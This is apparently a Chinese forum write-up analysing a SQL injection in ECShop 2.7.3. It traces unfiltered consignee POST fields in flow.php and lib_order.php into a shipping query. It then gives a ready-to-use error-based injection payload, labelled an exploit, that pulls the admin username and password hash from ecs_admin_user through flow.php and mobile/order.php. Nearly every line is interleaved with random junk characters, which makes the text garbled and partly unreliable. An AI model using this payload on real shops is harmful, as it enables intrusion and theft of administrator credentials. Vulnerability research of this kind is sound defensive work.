前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。1 p+ h. ?& s* I& }
9 c, j7 ]5 A. z8 g5 M/ `& ? 漏洞关键文件:
3 {: s G4 F9 O' G7 U2 ~) b' ^! i8 y. p* e# D4 j2 B
/includes/lib_order.php
1 O# T6 d {7 {: j% } h" p6 u% ~: C- C' E$ j- X
关键函数:
( x. P7 b& M6 k4 S/ A
) D5 C* O8 e) q* C9 }
& i% k7 _5 y4 q! `2 ?3 N% ^ V8 U- Q( ?$ c
01 function available_shipping_list($region_id_list)
/ \4 n& k# g- C1 \
4 h$ e! O8 k; U) ^% {; k7 _5 h02 {
3 A0 ]; K) t7 p& I3 {( O
# B! u2 ^2 f7 f2 F03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
: g& {# Y z* ^' y& Z D1 I; Y) V: x! j
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
6 w" L) Q3 q$ y! o! s2 y `/ @. {" m l
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
* W# q* L/ W5 {+ I. m6 W: ]" r k9 Z8 D5 L
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
* Z$ O) x: x; Y8 p4 w( h
. }) y. B: A# w! x0 l07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
3 _9 @' \5 W& s) F h. L; E* J3 D' z/ Q
08 'WHERE r.region_id ' . db_create_in($region_id_list) . , T7 y; D) u8 t& S( N7 t0 e9 Z
* N, a% v: j- C- A1 y' Z) ]
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
: v l0 }6 I9 R( t G. ^2 x. J7 B) {! h. e7 h; R0 j1 |! i* T
10
/ y8 O8 z; R j: G/ h- Z( x! }
2 Z2 j0 P" x5 y# D7 T11 return $GLOBALS['db']->getAll($sql); $ `% ?' E1 B) g
7 F! A4 g6 X' b# s! E+ F, @
12 } ( s8 E5 m4 ?1 f+ S
# Q8 g+ V* a6 _! i/ b) Q1 y显然对传入的参数没有任何过滤就带入了查询语句。& E1 B6 C& w% ^5 u
9 g* S, k5 w9 y7 l$ N4 P ~- e9 U下面我们追踪这个函数在flow.php中:" k; G6 M3 |! W0 M" Y1 ]( W1 v% @
第531行: / i: u w$ f, {8 |+ z, n
9 R2 ~0 e/ N- y& F# L! l' v5 s1 $shipping_list = available_shipping_list($region);
: T7 S1 q1 Q- h2 A0 n/ I$ S/ c0 w% ]6 E) f+ T. Z5 f8 _ V
2 _; K0 A% k5 E( @( y# z3 J
1 A# i+ ?( A3 e: i: }; T
3 [% V) k0 m/ V8 H6 J( Y$ H0 a
再对传入变量进行追踪:# F3 q! c, ^6 I% ~/ {
9 _0 Z: b# I& K) d \2 N
第530行: - d1 v( q* K( o$ j, s; R5 ~
# ]( e6 M; A% ?6 S1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); ' g1 f1 H! X9 t( g3 O
4 z* A- Z' Z4 ~. H/ V( V
6 |" A; T* P0 [( y N! S9 |3 Z% ]+ \
4 b- }$ h, M+ t% I . S7 i& b$ {" G" q1 ]1 K6 K. [
7 J" K1 d+ F, X4 k0 s1 `7 |第473行: 6 h \. E+ _6 P% T
# F& ^# L m* d* \. q2 x" |( ]$ R
1 $consignee = get_consignee($_SESSION['user_id']);
- n$ ~, U7 H2 R/ a8 Y1 I+ x+ c* u* C* e9 G7 \# N4 K/ G
到了一个关键函数:
v( |6 v& }0 a
+ J) C8 R+ i" ]/includes/lib_order.php6 Z- N0 t2 e( s9 _* z
$ U- \5 w a* f$ A5 E , D3 L# X7 {; m; ?; s
3 ]1 `# N4 J; Z) v5 F 5 @+ m/ T% m2 V6 j& S
) @0 Q! c' U( r0 v
01 function get_consignee($user_id) $ Q6 z0 x) x1 C/ `
+ |9 ^* r2 c! X, X' e# X0 ^0 k
02 { % n7 Z& T. `3 K) Z
: [' p( C |2 I5 e9 R: _5 W+ @03 if (isset($_SESSION['flow_consignee'])) - k6 u- k9 G! i
& J4 W# h$ p8 C1 y5 u; N- P04 { 2 `! c' g* a6 ?$ X; J4 R( ^
+ Z, f; a) r& Z$ e4 s! @5 a7 w05 /* 如果存在session,则直接返回session中的收货人信息 */
- _' P3 c- S* n. {
" `) H% z& M3 Q1 Y0 o) b# @1 f06 7 d# s& |$ K! ], m. t7 q- A
- k. Y+ X# [; k0 q1 G _. u3 X% R07 return $_SESSION['flow_consignee']; ; P: }6 f) O Q; C% ]
* V) Q/ {7 b1 H* c, |08 } 6 g3 t% O# q, X; Z+ w
! z3 c k+ y9 T; d' ]
09 else
: o' X4 n' \( J0 v2 t6 H8 ~0 b& Y9 K, N+ M# \! m. K( ~
10 {
$ u, X! p8 A$ n1 t3 h2 d Y1 x1 d5 t1 a4 S1 E
11 /* 如果不存在,则取得用户的默认收货人信息 */ $ f6 S! c) Y+ C# P; ~% x
0 f8 U4 [* Q' C2 q8 q P/ r8 g12 $arr = array();
; Y2 @! t1 ]+ X2 w( z% E# _7 {
0 r/ T( l7 u" t. g4 k13 8 c/ F1 J; m3 ^" V/ E
2 n7 R& }) w# ^3 ]+ r& I14 if ($user_id > 0) 2 d! A& n6 [' s- E3 Q# e
8 [! a4 }: ]: G/ w15 { ! Z* {, }2 q. F) {
, R/ D- |" k5 m/ O& `+ l1 d' w16 /* 取默认地址 */ 4 ]( } S! y9 a% A& H2 U
9 G2 C" @! L" q; G3 r4 K17 $sql = "SELECT ua.*".
' ~3 W" O3 r# J0 _, f% x
9 ?" t* q) ?; w" _2 y$ L! Y- Q18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. + s0 B h7 @8 I( S+ R
( s/ K) ]. T+ p' s2 F. a+ a19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
, |% s7 j6 V+ O. l- g# Y$ m" i, Q$ A) z+ L
20
2 \5 @1 W( ]. V& S
7 G) r5 V/ d4 A3 @* j21 $arr = $GLOBALS['db']->getRow($sql); ( k0 a m i. a8 k* {9 ^- Q2 t
: ?4 H/ B: o* X! z- q8 h
22 } ) T9 K; N3 x! W2 R% d& z k) n
J* t* K/ A3 W2 E$ t+ [4 P0 D: c! g" ^23 ( S( S' j" g9 E9 d% H
2 S+ ^5 \9 j$ y+ z: n24 return $arr;
) B7 @* D9 t7 k7 J: i" F' d5 e5 z
/ n3 v9 h% L& w& l# b- F% R, G25 } : Z( I7 R: ^+ Z, m$ D
6 m3 Q( O: P x/ ]& ~5 e, m% V: m
26 } # R7 b1 V o! q ?3 u7 O5 y z
$ G" p& t! x. M* U0 L- U显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
* m( M) z, f* `$ h& v
- w; \. J3 C& o7 ?- K& T# A @ 4 v+ Y9 k; g5 a7 h/ Q |
- k# {; e+ u+ n- e# a7 p# q关键点:/ s0 b( d @* p( N" u
3 D/ s; x& g1 Y L3 }* s p$ m
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);7 I9 o& A3 ^3 @
" _# `# H+ e4 x5 _1 M0 n这里对传入参数反转义存入$_SESSION中。
8 B6 I2 j% j1 B5 e) i7 o) q2 `0 n+ ]" w' e" |; w2 N
* v2 w& S8 p: M4 Z: G, `" L1 u
) I" I( V' _6 U0 a. u: _2 E- M; B然后看下:
1 i+ v3 J3 D% R# t3 A6 _
& x& f2 A" ]# Y7 _. o/ Q# Y6 p
$ G2 I0 k9 Q$ @# ~% ] e/ K$ u+ C4 w* G% v
3 Q% {1 T5 {9 |7 q4 o! S4 ?4 e
: b2 n5 ]$ q5 @4 }
01 $consignee = array( 0 j+ ` b: E) j' I1 G
7 s) D( f0 C$ m+ @, ?, l1 \02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
8 Y% S7 n/ z# \7 |" e& c
# ]: |9 i Z! O- H+ V$ I03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
. K+ T- P# H" a! ~
" T( ?9 g/ e% h8 r04 'country' => empty($_POST['country']) ? '' _POST['country'], - h+ r2 S. n$ m1 o. K% i& \( m, t
5 {& }7 R8 g Z" x" x+ m
05 'province' => empty($_POST['province']) ? '' _POST['province'],
3 F+ K8 W7 o& M- n, y! r4 B. @. S. a
) j* m; p; @' K7 Q, y- h+ L06 'city' => empty($_POST['city']) ? '' _POST['city'],
0 ]6 X4 Q, Y7 x7 l$ c: k4 D" m: }5 x/ ?5 ^- z4 a
07 'district' => empty($_POST['district']) ? '' _POST['district'],
7 q }3 c2 Y! E8 x8 w/ w
% u4 l( W7 E6 _08 'email' => empty($_POST['email']) ? '' _POST['email'],
8 w7 Z6 ]- Q! n* G
: P& Z0 u! q, D$ m& v09 'address' => empty($_POST['address']) ? '' _POST['address'], * c+ _* {- ~. D' C9 A, n. D) X" n
3 k; ?# z, v1 B# h
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
$ S! h( H" \ c' K$ B& k/ e' ~1 s" g1 B, @1 x0 Q
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), ( F5 n7 d S, P6 @' t% a+ h. m8 z/ g
|0 v& ?* a# G% A1 g, X12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), 0 m: a) C! i: S, V n# \& x
: J {$ z( |0 C% r" `* L& y
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
0 C7 j; @& ~1 V: B; x. [9 x3 R- _ G
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'],
- n" H, Z( S e1 M5 ^; J! @. @, V+ S# B
15 ); 2 Y& `3 \( g% E
2 V3 C* G& j) i" h- k, K u) [
好了注入就这样出现了。
' i: \/ [) `1 p5 {8 C
* s( o$ v% Z/ G5 z! q3 {# O==================
- o' i7 E! ~& N# x, l! D
) n( o- I7 J! F a注入测试:
7 T$ ]. ?# E. s% X+ K C$ @6 d
# y: ?. }" j8 `: X" m* C: V环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
. D5 i! r; k4 \1 [3 v1 Y! h; ^" G( r" c; t- ]
测试程序:ECShop_V2.7.3_UTF8_release1106* z5 b5 `& z+ a- G8 T V3 l+ k
; X: {5 o u4 N+ R" A+ P
2 _; @4 F' ]* H2 |5 b8 o( @
/ ^- m1 z5 S- Y3 R ?
1.首先需要点击一个商品加入购物车; \/ N2 r- U- d( z( }* J/ t3 ^5 U
5 e: d8 X; w2 H2.注册一个会员帐号
4 Z! f+ e7 {. \7 v) f: {" F' m+ z; w+ P
3.post提交数据/ S% S3 c6 ]! O8 D S
8 ]4 E( {! j! r: o3 G$ l
2 c2 Z1 N4 U( ^, [0 R. R
+ A/ \6 B0 t( y* b2 N& {9 n; B1 http://127.0.0.1/ecshop/flow.php ' Z% D) p. t7 b2 z0 g; I1 A0 \+ m
5 F$ _# \( {1 U g x3 z2
0 ], p- ^# v, w- M; F$ l$ H' J8 Q0 _/ [, t
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= 9 t6 @5 G. g, `) v$ G; M
举一反三,我们根据这个漏洞我们可以继续深入挖掘:/ c0 C' x0 N e Z. }) e! v# e" E
V8 q: T7 S9 L2 h我们搜寻关键函数function available_shipping_list()# ?5 _ S& ]( S, n
# J3 A- U/ ?* m4 F1 ]
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同3 p# _4 }, }6 a" H, |& p7 k1 S
5 F9 V6 X5 x; C3 n* n
利用exp:# [3 S+ E. ~1 @, G {6 I* M6 d5 L2 B
% E9 n4 g) L! I0 V" t( r
1.点击一个商品,点击购买商标0 J5 q' {# }1 Z) f7 m
' y0 H( S; \% z4 I( H
2.登录会员帐号0 g9 E# w7 O5 G9 U. l
$ T; h$ y* t/ }3 N9 |& r1 g# H
3.post提交:
. B- k0 W; s3 x
! k* B5 K J. P. ?, K0 t! Hhttp://127.0.0.1/ecshop/mobile/order.php0 _$ ^& G# h# Q7 W
/ T* T: G3 ?. d, H
8 d& D9 f6 b" h# ?: G n4 L, T& V! ?5 G F* \
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
6 Q$ O f, M' R7 L; Z" n0 s7 s5 s& W
|